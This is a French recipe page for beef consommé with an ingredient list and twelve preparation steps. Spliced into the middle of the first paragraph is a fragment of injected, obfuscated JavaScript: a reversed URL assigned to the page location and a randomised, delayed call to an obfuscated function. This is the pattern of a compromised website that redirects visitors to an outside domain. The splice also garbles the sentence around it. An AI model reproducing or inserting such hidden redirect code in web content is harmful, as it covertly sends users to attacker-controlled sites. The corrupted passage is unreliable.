Consommé de bœuf

2021-05-07

Désossez et ficeler la viande (comme la macreuse, gîte, paleron, jumeau, plat de côtes, queue.) Enveloppez l’os dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon et les concasser avec un marteau

Ingrédients

  • 350 g de viande de bœuf maigre
  • 150 g de viande de bœuf avec l’os
  • 2 litres d’eau
  • 1 oignon
  • 1 carotte
  • 1 clou de girofle
  • 1 poireau
  • 1 brin de thym
  • 1 branche de céleri
  • 1 feuille de laurier
  • 1 gousse d’ail
  • Sel

Préparation de la recette

Etape 1

Désossez et ficeler la viande (comme la macreuse, gîte, paleron, jumeau, plat de côtes, queue.) Enveloppez l’os dans un torchon et les concasser avec un marteau

Etape 2

Déposez les viandes dans une marmite.

Etape 3

Versez de l'eau froide et doit recouvrir la viande, salez.

Etape 4

Portez à ébullition, écumez plusieurs fois.

Etape 5

Coupez l’oignon en deux, faites-le rissoler dans une petite casserole et faites cuire sur feu doux jusqu’à ce qu’il soit bien coloré.

Etape 6

Le retirer et piquez-le avec le clou de girofle, pelez le poireau et l’attacher avec le brin de thym, le céleri et la feuille de laurier.

Etape 7

Pelez la carotte et l’ail, incorporez-les dans la marmite.

Etape 8

Portez à ébullition puis baissez la feu et faites cuire tout doucement pendant 3 heures 30 minute à découvert en écumant souvent.

Etape 9

Passez le bouillon.

Etape 10

Laissez-le refroidir.

Etape 11

Enlevez la pellicule de gras sur la surface.

Etape 12

Il est possible de le congeler.

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